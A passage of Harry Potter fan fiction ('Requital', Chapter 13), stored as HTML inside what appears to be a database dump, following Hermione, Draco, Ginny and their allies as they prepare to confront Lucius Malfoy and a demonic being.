said.</p>\n<p style="line-height:150%">Draco looked over at her then, taking her by surprise \n  with the seriousness of his voice.</p>\n<p style="line-height:150%">&#8220;That my lady, I do&quot;, he said lowering his mouth \n  to hers for a quick kiss.</p>\n<p style="line-height:150%">Arthur Weasley stood nearby watching the exchange, \n  and Ginny only saw him as he walked away.</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">Lucius Malfoy rummaged through the stores of his memory, \n  seeking what he knew of Sirius Black.&nbsp; He knew the man was a formidable enemy, \n  having been the only one to ever escape from Azkaban.&nbsp; He also knew that Black \n  was Harry Potter&#8217;s godfather, and would most likely be with him now, especially \n  after the attacks on the Ministry.&nbsp; </p>\n<p style="line-height:150%">He didn&#8217;t want to disappoint her.&nbsp; Lucius knew too \n  well the terrible power she possessed.&nbsp; He had seen her feed upon an unfortunate \n  Muggle earlier that morning, and she was quick and efficient in her kill.&nbsp; </p>\n<p style="line-height:150%">Lucius was indecisive about where to begin, and because \n  of that, his mood was less than amiable.&nbsp; He was not one to be bothered by blood \n  and death, but he had to admit that his encounter with the hollowed out corpse \n  she had asked him to dispose of had left his stomach queasy.</p>\n<p style="line-height:150%">He knew that she wanted the third key that Saturday \n  evening.&nbsp; He had three days.&nbsp; When he had asked why she had chosen that particular \n  day, she had replied that it was when human emotions ran the highest.&nbsp; Saturday \n  night was the easiest night to feed off the sins of humanity, and use the power \n  of it.&nbsp; Saturday was always the most successful night down at the defunct Club \n  Mistress.&nbsp; With the third key, she could lock the Gateway behind her, never \n  having to fear being cast down again.&nbsp; </p>\n<p style="line-height:150%">Lucius had decided that Black and his team would come \n  to him sooner then he could ever seek him out.&nbsp; He had pacified her with his \n  dutiful reply, but she didn&#8217;t understand these particular humans like he did.&nbsp;&nbsp; \n  They, unlike him, were bound by loyalty and responsibility.&nbsp; It was their greatest \n  weakness.</p>\n<p style="line-height:150%">But they were arriving now, the darkest wizards and \n  witches the world had known.&nbsp;<i> McNair, Parkinson, Bulstrode...</i>&nbsp; Lucius \n  was pleased by their promptness.&nbsp; They would free the prisoners in Azkaban soon, \n  adding to their ranks.</p>\n<p style="line-height:150%">They were bowing to him.&nbsp; Recognizing the role he \n  played.&nbsp; </p>\n<p style="line-height:150%">From the luxurious rooms of the upper level, they \n  descended down the staircase towards the nether regions of Malfoy Manor.&nbsp; They \n  were guided by torchlight that fell onto the gray brick wall casting ominous \n  shadows behind them.&nbsp; </p>\n<p style="line-height:150%">Lucius could hear the slow breathing of the ringmaster, \n  and the undignified stomping sounds Locust made as he moved around the meeting \n  room.&nbsp; It was quite the crowd. </p>\n<p style="line-height:150%">This would be a night of victorious celebration.&nbsp; \n</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">Arthur Weasley walked outside onto the back porch.&nbsp; \n  Ginny had followed him downstairs after seeing the glance he had given her earlier \n  after she had shared a kiss with Draco.</p>\n<p style="line-height:150%">&#8220;Dad?&#8221;</p>\n<p style="line-height:150%">Sullenly, he looked towards the back gate.&nbsp; He turned \n  then, to stare at her for a minute.</p>\n<p style="line-height:150%">&#8220;You&#8217;re in love with him aren&#8217;t you?&#8221; he asked.</p>\n<p style="line-height:150%">Ginny didn&#8217;t answer.</p>\n<p style="line-height:150%">Arthur slammed his fist onto the back door.&nbsp; &#8220;You \n  don&#8217;t understand their history&#8230;&#8230;he may not be as bad as his father but he is \n  still a Malfoy!&#8221;</p>\n<p style="line-height:150%">&#8220;That&#8217;s right, he isn&#8217;t his father!&nbsp; You said so yourself \n  that you thought Lucius had tried to have him killed.&nbsp; He&#8217;s also been Harry&#8217;s \n  informant for the past year, doesn&#8217;t that prove anything&#8230;Draco and I are more \n  than just lovers&#8230;&#8221; she said going too far.</p>\n<p style="line-height:150%">Arthur slapped her face.&nbsp; He had never done that before.&nbsp; \n  Ginny was more stunned than hurt.&nbsp; She wouldn&#8217;t actually feel the hurt until \n  much later.</p>\n<p style="line-height:150%">&#8220;We&#8217;ve sacrificed everything to raise you and your \n  brothers to be loyal to the side of good.&nbsp; Percy and Charlie lost their lives \n  fighting men like Malfoy and my only daughter decides to become one of their \n  whores!&#8221;</p>\n<p style="line-height:150%">Her cheek still burned.&nbsp; Angrily she looked away from \n  him.&nbsp; She couldn&#8217;t quite bring herself to move as the hot tears ran down her \n  face.</p>\n<p style="line-height:150%">&#8220;When Voldemort came to power, &#8220; her father said, \n  &#8220;people like the Malfoy&#8217;s were the first to sign up.&nbsp; They are lazy, self-indulgent \n  people who don&#8217;t know how to love.&nbsp; Lucius murdered Narcissa without regret.&#8221;</p>\n<p style="line-height:150%">&#8220;Draco isn&#8217;t Lucius, and I&#8217;ll make my own decisions \n  about him,&#8221; she spat.</p>\n<p style="line-height:150%">Arthur Weasley acted as if he hadn&#8217;t heard her. Ginny \n  could feel her anger giving way to more grief, and she\'d had her share that \n  day.</p>\n<p style="line-height:150%">&#8220;I&#8217;ll be upstairs,&#8221; she said quickly brushing by her \n  mother on the way to her room.</p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">With the pistol heavy in his hand, Sirius Black left \n  the house that night after they had all met in the downstairs sitting room.&nbsp; \n  Arthur and he had laid out their plans carefully.&nbsp; They would strike in two \n  days.&nbsp; He hoped they could get the other two mysterious objects taken from Cairo \n  without a direct confrontation, but he knew it was unlikely.&nbsp; Harry, Ron and \n  Neville would go into the Muggle town to get some weapons.&nbsp; Draco would draw \n  a map of the estate.</p>\n<p style="line-height:150%">It was ironic how magic had no effect on the ravenous \n  beasts they&#8217;d have to fight, but how simple Muggle devices could handicap or \n  wound them to the point of making them harmless.&nbsp; &nbsp;&nbsp;</p>\n<p style="line-height:150%">Everyone else had gone up to bed, but Sirius was not \n  quite ready to rest.&nbsp; His breath tasted sour from licking the cut on his lower \n  lip, a souvenir from the building collapse.&nbsp; Otherwise, he was okay.&nbsp; Besides, \n  he had an appointment he needed to keep.&nbsp; It could very well give them the last \n  piece to their puzzle.</p>\n<p style="line-height:150%">This man, as Sirius had at first glance suspected \n  and through conversation confirmed, was a bit of a rogue &#8211; more than devious \n  but less than merciless &#8211; and he was the best in the business.&nbsp; </p>\n<p style="line-height:150%">&#8220;I&#8217;m sure you are aware of how important your role \n  is now Mr. Moody,&#8221; Sirius said taking a quick glance around the public Muggle \n  pub.</p>\n<p style="line-height:150%">Mad-Eye Moody lifted the saltcellar to season the \n  chicken the waitress had just served.&nbsp; He let some time pass before choosing \n  to respond.</p>\n<p style="line-height:150%">&#8220;I find it ironic how the Ministry comes to me now, \n  after writing my theory off as crazy seven years ago, when I first discovered \n  this information.&#8221;</p>\n<p style="line-height:150%">&#8220;Even so, you can certainly understand our reasoning.&nbsp; \n  And here is a chance to revel in the glory of having been right,&#8221; Sirius said \n  appealing to the man\'s vanity.</p>\n<p style="line-height:150%">Mad-Eye was now looking in the back of his head, a \n  useful skill if you were one of the most hunted wizards on the planet, having \n  put more people in Azkaban than anyone else.</p>\n<p style="line-height:150%">&#8220;Well, I managed to hunt down who Nora Mills was.&nbsp; \n  She was Hermione Granger&#8217;s great, great, great, great, great, great&#8230;great grandmother.&nbsp; \n  That&#8217;s seven greats&#8230;&#8221;</p>\n<p style="line-height:150%">&#8220;All right&#8230;and,&#8221; Sirius said cutting him short.</p>\n<p style="line-height:150%">&#8220;And&#8230;that&#8217;s pretty much it.&nbsp; Apparently she was non-magical; \n  there are only Muggle records, and those are sketchy since they didn&#8217;t keep \n  many back then.&nbsp;&nbsp; Hermione&#8217;s first magical relative was Emma Mills-Benton, and \n  she didn&#8217;t accomplish anything but write a children&#8217;s book.&nbsp; I couldn&#8217;t even \n  manage to find that.&#8221;</p>\n<p style="line-height:150%">Sirius thought back to the note Lois Mills had sent, \n  and the rhyme that accompanied it.</p>\n<p style="line-height:150%">&#8220;Thanks Moody,&#8221; he said seeing the light at the end \n  of the tunnel, &#8220;I&#8217;ll be in contact.&#8221;</p>\n<p style="line-height:150%">&#8220;For the good of all I say!&#8221; Moody said, raising his \n  glass to Sirius.</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">Things were going smoothly for now, but the third \n  key and the Mills descendent were still out there somewhere.&nbsp; The ringmaster \n  hoped they were not together.&nbsp; </p>\n<p style="line-height:150%">But of course, even if they were, it wouldn&#8217;t mean \n  she&#8217;d have any idea of how to use it.&nbsp; Nora had been clever, but perhaps this \n  one was not as wise.&nbsp; They had defeated the one called Emma after all.</p>\n<p style="line-height:150%">Maedon had begun to change.&nbsp; The collection of two \n  of the keys had increased her power so much that light no longer burned her \n  skin.&nbsp; He despised the way she looked in human form, but she had grown fairly \n  comfortable in her childlike body and insisted on using it. </p>\n<p style="line-height:150%">He hated Lucius Malfoy, like he had hated her Tom.&nbsp; \n  Perhaps when she was on the earth permanently, she would find Lucius useless.&nbsp; \n  But he had often suggested killing Tom, and much to his dismay she always refused \n  claiming that they needed his humanity in order to rule over it.</p>\n<p style="line-height:150%">The humans were gathering now to pledge their allegiance, \n  and the scent was burning his nostrils.&nbsp; </p>\n<p style="line-height:150%">The Muggle man that was being offered as a sacrifice \n  to her greatness hung cold, damp and motionless.&nbsp; </p>\n<p style="line-height:150%">&#8220;We will have our revolution, &#8220; Lucius said, &#8220;and \n  true wizardry will become the standard.&nbsp; We have aligned ourselves with the \n  truly powerful and be will be successful where we have failed before.&#8221;</p>\n<p style="line-height:150%">The ringmaster listened patiently to their pep rally.&nbsp; \n  They were nothing but useful pawns.&nbsp; Foot soldiers.&nbsp; He&#8217;d let them believe they \n  were more if it served their purpose.&nbsp; He&#8217;d let them believe that for now.</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">It was late, and Harry Potter needed sleep.&nbsp; He climbed \n  into his bed, acknowledging the blonde lying on the other bunk in the corner.</p>\n<p style="line-height:150%">&#8220;Malfoy.&#8221;</p>\n<p style="line-height:150%">&#8220;Potter.&#8221;</p>\n<p style="line-height:150%">&#8220;Surprised you didn&#8217;t room with Weasel.&#8221;</p>\n<p style="line-height:150%">&#8220;Nope, I had the honor of being put here.&#8221;</p>\n<p style="line-height:150%">&#8220;How wonderful for you,&#8221; Draco said, missing the sarcasm.</p>\n<p style="line-height:150%">&#8220;Let&#8217;s just get some sleep,&#8221; Harry said taking off \n  his shirt and lying back onto his bed. He carefully flicked off the lamp that \n  still had the <i>Coca Cola</i> label on it, from the soda can it was in a prior \n  life.</p>\n<p style="line-height:150%">&#8220;I don&#8217;t know exactly how I&#8217;ll confront Lucius&#8230;but \n  I&#8217;ll do it,&#8221; Draco said, tossing under his covers.</p>\n<p style="line-height:150%">&#8220;That&#8217;s a tall order,&#8221; Harry said, his thoughts drifting \n  to Narcissa.&nbsp; </p>\n<p style="line-height:150%">&#8220;Not as tall as the one Granger has, according to \n  Black,&#8221; he added.</p>\n<p style="line-height:150%">It was the second time that day he hadn&#8217;t bothered \n  to call Hermione a mudblood, Draco\'s favorite nickname for her.</p>\n<p style="line-height:150%">&#8220;I only wish we knew exactly what she had to do.&nbsp; \n  A lock of a maidens hair is so generic&#8230;and it might not even be the right rhyme,&#8221; \n  Harry said, thinking out loud.</p>\n<p style="line-height:150%">Draco answered. &#8220;It is.&#8221;</p>\n<p style="line-height:150%">&#8220;Why do you say that?&#8221;</p>\n<p style="line-height:150%">&#8220;Because one thing you three have always had going \n  for you is luck,&#8221; Draco said.</p>\n<p style="line-height:150%">Despite himself, Harry laughed at the resentment in \n  Draco&#8217;s voice.&nbsp; Then they lay there, listening to the sound of the girls stirring \n  in the room next to theirs.&nbsp; Draco said something then, but Harry had missed \n  it.</p>\n<p style="line-height:150%">&#8220;What did you say?&#8221; Harry asked.</p>\n<p style="line-height:150%">&#8220;I asked if you had told Weasel about Ginny and I,&#8221; \n  he muttered under his breath.</p>\n<p style="line-height:150%">Harry thought of telling him yes, but don\'t ever bring \n  it up.&nbsp; But he couldn&#8217;t bring himself to tell that sort of boldface lie, not \n  even to Draco Malfoy.</p>\n<p style="line-height:150%">&#8220;No, I thought I&#8217;d leave that to you,&#8221; Harry said, \n  &#8220;besides, what exactly are you and Ginny anyway?&#8221;</p>\n<p style="line-height:150%">Draco looked up at the ceiling.</p>\n<p style="line-height:150%">&#8220;I&#8217;m not sure.&nbsp; We&#8217;re close, more than friends, but \n  not just shagging partners,&#8221; he said in a mellow tone not normally heard from \n  him.</p>\n<p style="line-height:150%">&#8220;Do you love her?&#8221; Harry asked.</p>\n<p style="line-height:150%">Draco took a deep breath. &#8220;The meaning of that word \n  still eludes me.&#8221;</p>\n<p style="line-height:150%">And they ended their conversation saying the things \n  that you say when you spoke with people you didn&#8217;t exactly feel close to.&nbsp; &nbsp; \n</p>\n\n\n'),
	(90, 13, '\n\n \n  <u>Requital</u> by Msscribe\n  <p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n  <p>Ships: H/Hr</p>\n  <p>Type: Angst\\ Romance\\ Action Adventure</p>\n  <p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n    loss, finding her own voice and strength, and coming of age in a world battered \n    by a never-ending war.</p>\n  <p style="line-height:150%"><b><i>Disclaimer: \n    No profits are being made off the fiction on these pages. Harry Potter, associated \n    characters and the associated Harry Potter universe is &#169; J. K. Rowling and \n    respective publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously \n    in the least.</i></b><i> </i></p>\n  &nbsp;\n  <u>Chapter 13- Hours in Between</u>\n  &nbsp;\n  <p style="line-height:150%">It didn&#8217;t take an Auror to figure out that\nsomething major was afoot.&nbsp; </p>\n\n<p style="line-height:150%"><i>&#8220;Police don&#8217;t have any suspects just yet, and\nthey are asking anyone who was a witness to the events of yesterday morning to\n&#8230;&#8221; the downstairs radio blared.</i></p>\n\n<p style="line-height:150%">Hermione could hear the wind screaming against her\nwindow, and the shuffling and whispering of Ginny and Cho as they woke from\ntheir much-needed rest.&nbsp; She had awakened earlier, and was taking the time\nto memorize the rhyme that her Aunt had managed to send to Arthur\nWeasley.&nbsp; </p>\n\n<p style="line-height:150%">&#8220;I hope maiden doesn&#8217;t mean virgin,&#8221; Ginny Weasley\nsaid, who had been listening to Hermione&#8217;s whispered words.</p>\n\n  <p style="line-height:150%">&#8220;Well, if it does, we&#8217;ll have to take a little field \n    trip to find one,&#8221; said Cho, already busy transfiguring yesterday&#8217;s soot filled \n    clothes into something slightly cleaner and less covered in blood.</p>\n\n<p style="line-height:150%">With despairing eyes, Hermione looked up from the\npaper.&nbsp; &#8220;I&#8217;m not sure exactly, but it would probably be better to be safe\nthan sorry.&#8221;</p>\n\n<p style="line-height:150%">There were noises coming from next door.&nbsp;\nHarry or Draco must be awake.&nbsp; Hermione missed the feel of Harry next to\nher that morning.&nbsp; When she had reached out for him instinctively; her\nhands had ended up clinging to nothing but the sheets. </p>\n\n<p style="line-height:150%">&#8220;I want to go with you tomorrow.&nbsp; I want to\nhelp,&#8221; Ginny said.</p>\n\n<p style="line-height:150%">There was an awkward pause, in which Hermione\nsighed quietly.&nbsp; Ginny&#8217;s belly shrank, and she contemplated dropping the\nsubject, but her words and feelings just kept on coming. </p>\n\n<p style="line-height:150%">&nbsp;&#8220;I can do this.&nbsp;If I fuck it up, it&#8217;s my\nfault, &#8220; she stuttered.</p>\n\n<p style="line-height:150%">Cho looked over at Ginny with something similar to\ncondolence on her face.&nbsp; &#8220;If you fuck it up you die, plain and\nsimple.&nbsp; Besides, Arthur will never let you go.&#8221;</p>\n\n<p style="line-height:150%">But Ginny had made up her mind already, especially\nafter realizing she&#8217;d be the only one left behind.</p>\n\n<p style="line-height:150%">&#8220;You need my help.&nbsp; I know you do&#8230;&#8221;</p>\n\n<p style="line-height:150%">&#8220;You&#8217;d end up getting yourself killed!&#8221; Hermione\nsnapped, instantly sorry for the firmness in her voice.</p>\n\n  <p style="line-height:150%">Ginny moved her attention from her hands to Hermione, \n    meeting her stare.</p>\n\n<p style="line-height:150%">&#8220;I&#8217;m stronger than I look Hermione, and I&#8217;m not\nafraid,&#8221; she said, &#8220;plus I know the secret entrance to Malfoy Manor&#8230;to Draco&#8217;s\nroom.&#8221;</p>\n\n<p style="line-height:150%">Hermione bit her tongue, fixing her gaze on\nGinny.&nbsp; Cho stopped transfiguring her ripped blouse and sat beside Hermione.</p>\n\n<p style="line-height:150%">&#8220;She could be useful,&#8221; Cho said softly, &quot;And\nshe&#8217;s got a point about knowing Malfoy Manor.&#8221;</p>\n\n<p style="line-height:150%">Hermione said nothing, leaning her back against the\nwall.&nbsp; </p>\n\n<p style="line-height:150%"><i>She&#8217;ll be killed if we don&#8217;t win anyhow.</i></p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n  <p style="line-height:150%">Lucius Malfoy awoke the next morning, unable to \n    stop himself from smiling.&nbsp; His houseguest&#8217;s voices drifted up to his \n    bedroom, laughing and bantering.&nbsp; They had tasted long awaited success, \n    and for the first time since the rise of Tom Riddle, they were once again \n    rising to power.&nbsp; He felt fresh and whole again.&nbsp; A whim of fate \n    had brought him to this state and he meant to keep it.</p>\n\n<p style="line-height:150%">&#8220;Ah, good!&nbsp; You&#8217;re up.&#8221;</p>\n\n<p style="line-height:150%">Locust stood in the doorway neatly dressed in a\nbrown and gray suit.</p>\n\n<p style="line-height:150%">Lucius had gone to bed wearing nothing, and in the\nmoment he realized Locust was staring, he slipped a black robe over his\nshoulders.</p>\n\n<p style="line-height:150%">&#8220;Good Morning,&#8221; he said smoothly, &#8220;I hope you&#8217;ve\nfound that the servants have prepared a suitable breakfast.&#8221;</p>\n\n<p style="line-height:150%">Lucius crossed room, his brief moment of euphoria\nslipping away as he thought of the task ahead.&nbsp; He lifted a glass of\nbrandy to his lips, first taste of the morning, and wished he were like other\nmen to the extent that a strong drink would ease his tension.</p>\n\n  <p style="line-height:150%">&#8220;Satisfactory, although the meat wasn&#8217;t as fresh \n    as I&#8217;d like.&nbsp; I must say that my partner finds you very distasteful.&nbsp; \n    Most likely jealousy of her fondness for you,&#8221; Locust said.</p>\n\n<p style="line-height:150%">Lucius turned his eyes full up the round man.&nbsp;\nLocust smiled.</p>\n\n  <p style="line-height:150%">&#8220;He would prefer we no longer use a human as a Dark \n    Lord, he&#8217;d much prefer he and I remain her most loyal servants.&nbsp; He suggested \n    last night that we eliminate you all together, but she wouldn&#8217;t hear of it.&nbsp; \n    She speaks your name quite a bit, and no doubt your rewards will be great \n    after she comes to full power.&#8221;</p>\n\n<p style="line-height:150%">Agitated, Lucius paced the room, trying to keep his\ncomposure from faltering.&nbsp; </p>\n\n  <p style="line-height:150%">&#8220;Tell her I will be down once I&#8217;ve taken care of \n    some business for the estate. Are all of my guests ready to leave?&#8221; he said, \n    pulling his silver hair back.</p>\n\n<p style="line-height:150%">&#8220;All but a few stragglers.&nbsp; They are packing\nnow, and will return tomorrow evening.&nbsp; She was very satisfied with their\nemotional responses&#8230;very much indeed.&#8221;</p>\n\n<p style="line-height:150%">Lucius nearly laughed at the thought. She had\nfeasted upon the emotions of the darkest and most ruthless beings around.&nbsp;\nThe taste must have been heaven for her after all of those Muggles she had\nsustained herself on previously.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It was Ron&#8217;s turn to lose\ncontrol. &#8220;You are pretty bold Malfoy, pretending that you&#8217;re on our side.&nbsp;\nI don&#8217;t trust you, and if you so much as take a step in the wrong direction,\nI&#8217;ll kill you myself.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco smirked and\ncontinued searching the woods behind their temporary home for anything that\ncould be easily transfigured into a weapon.&nbsp; He stopped to pick up a large\nstick that could be made into a flack.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Got nothing to say for once?&#8221;\nRon began again, ignoring Harry&#8217;s protests and temporarily forgetting his hasty\npromise to Cho.&nbsp; Ron&#8217;s eyes were filled with contempt.&nbsp; Draco met\nthem with a cool gaze.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cool it Ron!&nbsp;\nChrist, why can&#8217;t you just let things go?&#8221; Harry yelled, standing between them\nnow.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was thinking last\nnight&#8230;and I think that this piece of shit could be leading us all right to the\nslaughter!&nbsp; He could be part of some elaborate scheme Lucius has cooked up\nand here we are, stupid enough to trust him!&nbsp; I mean, why the hell would he\nshow up at my house looking for help?&nbsp; Has anyone thought of that?&#8221; Ron\nsaid not letting his eyes look away from Draco&#8217;s.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny...because Ginny \n    was there... he went to her for help,&#8221; Harry said, looking at Malfoy who had \n    now turned away from Ron&#8217;s gaze.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp;Ron drew his breath and\nclosed his hands tightly on nothing.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you mean\nGinny?&nbsp; What do you mean?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry grabbed Ron by his\nshoulders, restraining him and trying to get him to look away from Draco.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ginny and I are together \n    Weasel.&nbsp; We have been for a while now, but everyone thought you were \n    too much of a baby to handle that so they kept it from you.&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re &#8230;not&#8230;helping\n&#8230;Malfoy!&#8221; Harry said through set teeth, now struggling to keep Ron from lunging\nat the blonde boy.&nbsp; Neville ran over to help him in the knick of time.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;GOD DAMN LIAR!!&#8221; Ron\nscreamed.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Malfoy stepped closer,\npulling his wand from his pocket and dropping it on the ground nearby, egging\nRon on.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let him go.&nbsp; It&#8217;s\ntime we settled this, &#8220; Malfoy said calmly.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville opened his mouth,\nclosed it, then wet his lips and said, &#8220;Maybe Malfoy&#8217;s right.&nbsp; I say we\nlet them fight it out.&#8221; Neville released Ron, leaving Harry still struggling\nagainst him.&nbsp; </p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry sighed, and let Ron\ngo.&nbsp; Ron charged towards Draco like a wild rhinoceros, winding him and\nknocking him to the ground.&nbsp; Draco, not one to simply take a beating,\nlanded a solid punch to Ron&#8217;s face and rolled him over onto his back.&nbsp;\nThen he stood above him.</p>\n\n  <p style="line-height:150%">&nbsp;&#8220;You&#8217;re right, I could give a shit about you, \n    or Potter, or any of you poor excuses for Wizards!&#8221; Malfoy said bitterly, \n    kicking Ron in his stomach.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;The red head spat on the ground and\nstood up, landing a punch to Malfoy&#8217;s grimacing mouth.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;So you admit it!&nbsp; Your nothing \n    but a fucking traitor! I&#8217;ll kill you!&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry and Neville stood in\nthe shadows watching them exchange blows.&nbsp; Sirius and Cho saw the\ncommotion and ran over.&nbsp; Neville put his hand on Sirius&#8217; chest before he\ncould break up their rumble.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think they might need\nto do this,&#8221; Harry said, noting the anxious look on his godfather&#8217;s face.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Malfoy returned Ron&#8217;s\nshot, knocking him up against an oak tree.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m a traitor only to my\nfamily name you obnoxious&#8230; ill mannered ass, and I&#8217;ll probably die tomorrow\ntoo!&#8221;&nbsp; Malfoy said right before he pummeled Ron in the stomach again.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron was undeterred.&nbsp;\nHe grabbed Malfoy by the shoulders and struggled to pin him to the ground.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why should we believe\nthat?&nbsp; I don&#8217;t believe a word you say!&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron began to wrap his\nhands around Malfoy&#8217;s throat.&nbsp; Harry and Neville began to move, thinking\nthey may have to stop the fight after all.&nbsp; Cho looked on, entranced,\nhaving never seen Ron this violent before.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because&#8230;I&#8230;would&#8230;die&#8230;for\n&#8230;her,&#8221; Draco stammered.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Both of their breathing\nwas labored.&nbsp; Ron&#8217;s face washed blue, like someone who was recently\ndeceased.&nbsp; Draco wrenched himself from Ron&#8217;s grasp, rolling out from under\nhim.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron stood slowly, Cho\nrushing over to help him.&nbsp; His mind was somewhere else now.&nbsp; Harry\nwent over to them.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron&#8230;&#8221;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just leave me alone, Harry,&#8221; \n    Ron said, walking silently back towards the house with Cho.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville went to help\nMalfoy, who pushed him away proudly.&nbsp; Sirius stood firm, thinking maybe\nthey could finally move on.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Malfoy&#8230;think you can\nmanage to have that map by tonight?&#8221;</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Malfoy spit a large wad of \n    saliva and blood onto the ground. Then he dusted himself off, recovering his \n    dignity.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220; I&#8217;ll start on it now.&#8221;</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat in the Muggle\nbeauty salon listening to the non-stop chatter.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And can you believe they\nhave no idea who&#8217;s bombing these places?&nbsp; It makes you afraid to leave\nyour house at night!&#8221; a stylist said to her client, who was too busy reading\nthe magazine on her lap to respond with more than an &#8220;uh huh&#8221;.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione wished she could\nhave added, <i>during the day too </i>to that declaration.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She was trying to remain \n    patient as the woman worked the strong smelling dye remover through her hair. \n    &nbsp;She kept eyeing the little girl in the corner, who was waiting for a \n    haircut.&nbsp; She was so young, most definitely a virgin.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>All I need is one lock</i>,\nshe thought hoping they didn&#8217;t throw away the clippings immediately.</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When Lucius&#8217; eyes met hers \n    again, she had aged some.&nbsp; She stood before him now, fully grown.&nbsp; \n    He found her appearance shocking, to say the least.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am quite fond of the\nform I keep, but I sensed it was making you uncomfortable,&#8221; she said, stepping\ncloser to him.</p>\n\n  <p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp;&#8220;There was no discomfort \n    as I hardly know you, although I serve you now most loyally,&#8221; he answered, \n    bowing before her.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are very skilled with\nyour words.&#8221;&nbsp;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She crossed the room,\ntaking a deep breath and exhaling loudly.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tom knew me.&nbsp; He\npreferred the form I have now, but I prefer the child.&nbsp; That form is small\nand disarming to most, giving me an advantage over those who wish to harm me,&#8221;\nshe said, walking back to him.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius let his eyes wander\nto her new flesh.&nbsp; She reveled in his longing gaze.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You say you do not know\nme?&#8221;</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He brought his eyes to\nmeet hers.&nbsp; She let the simple garment she wore fall to the floor.</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>Come&#8230;. know me then</i>,&#8221;\nshe hissed</p>\n\n<p style="text-align:center;line-height:150%" align="center">#</p>\n\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This could be our last\nnight on earth Ginny, and I don&#8217;t want you hating me,&#8221; Arthur said, sitting\ndown next to his only daughter, &#8220;I stand by what I say but I 